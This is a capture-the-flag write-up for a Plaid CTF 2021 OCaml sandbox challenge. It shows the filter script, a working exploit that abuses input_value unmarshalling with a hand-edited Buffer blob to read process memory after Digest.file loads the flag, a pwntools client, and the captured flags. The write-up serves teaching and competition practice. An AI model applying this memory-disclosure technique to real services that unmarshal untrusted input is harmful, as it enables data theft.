• Event: Plaid CTF 2021
  • Category: pwn
  • Solves: 33 + 28
  • Points: 400 + 150

meme

Overview

This challenge consisted of 2 sub-challenges. The second one was protected where password was a flag from the pevious one. Files for the first part are here. sudo docker run -v $(pwd)/input:/input -it name runs the challenge.

In this challenge we had to read the flag by uploading OCaml script to the server. The path to the fflag file is known from a Docker file. It is sandboxed in a way that open! Sos is added at the very beginning of our script. It means that we load a module which filename is sos.ml

It looked like this:

#!/bin/sh

set -eu

if grep -qe "external" -e "unsafe" /input/exploit.ml; then
	echo "unsafe!"
	exit 1
fi

echo "open! Sos" > user/exploit.ml
cat /input/exploit.ml >> user/exploit.ml
dune exec user/exploit.exe 

Here is a source code for this module - it blacklists a lot of functions.

Solution

In OCaml, similarly to Rust, functions are split into safe and unsafe ones. Unsafe functions can lead to memory corruption bugs or other problems and usually they have unsafe word in their name. But grep checks if our code contains this word. At the beginning I was trying to find an “soundness”/memory corruption bug in OCaml interpreter by reviewing github issues but my teammates told me that this is an old language so the probability of this is pretty low.

So I started looking for not blacklisted functions which could give a flag.

https://ocaml.org/api/ lists libraries and their functions for OCaml. We reviewed all of them and found 2 interesting functions:

  • Digest.file which takes a filename as an argument and returns md5 of it.
  • Stdlib.input_value - “This function is identical to Marshal.from_channel; see the description of module Marshal for more information, in particular concerning the lack of type safety.”

After calling Digest.file the process should contain a flag in its memory, maybe somewhere on the heap. Stdlib.input_value receives our payload which is a marshalled big buffer which has size and capacity to big values allowing us to read process memory.

Here is the OCaml script which we send to the server:

let d = input_value stdin;;
Printf.printf "%d\n" (Buffer.length d);;

for _ = 1 to 0x10000 do
    let _ = Digest.file "/flag" in ()
done;;

for i = 1 to (Buffer.length d) - 1 do
    Printf.printf "%c" (Buffer.nth d i)
done;;

This is just a script that sends our script and a payload:

from pwn import *

HOST = "mirage.sos.pwni.ng"
PORT = 1337
SCRIPT = "input/exploit.ml"
PAYLOAD = "payload.bin"

script = read(SCRIPT)
payload = read(PAYLOAD)

r = remote(HOST,PORT)

print (r.recvline())
print (r.recvline())
print (r.recvline())

r.sendline(str(len(script)))
r.send(script)
r.send(payload)

print(r.recvline()) #Buffer.size

buf = b""
try:
	while True:
		buf += r.recv()
except EOFError:
	pass

if b"PCTF{" in buf:
	flag = buf.split(b"PCTF{")[1].split(b"}")[0]
	print(b"PCTF{"+flag+b"}")

Now it’s time to think about the payload which will be sent to the server. At the beginning let’s create a binary blob of the normal buffer:

let d = Buffer.create 0x666;;
for _ = 1 to 0x666 do
    Buffer.add_char d 'A'
done;;
output_value (open_out "/original.bin") d;;

This blob can be found here

We got a binary blob with 01 06 66 01 06 66 04 01 At the end. 06 66 is an equivalent to our buffer size, these values are probably the size and the capacity. So 01 must mean 2-bytes integer. Playing with it we realized that these integers are represented in big endian mode. And 03 means 8 bytes integer. By changing it to very big values - like 03 01 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 00 04 01, we got a Buffer which pointer points to a string with the length of 0x666 bytes and size and capacity has set to 0x0100000000000000.

The blob after modifications is here

The exploit worked for both sub-challenges:

PCTF{d0nt_f0rget_t0_t3rminate_y0ur_l1nes}
PCTF{trY1ng_To_get_c4mlS_In_a_Lin3_is_a_r3cipe_f0r_cOrruPtion}

¯\(ツ)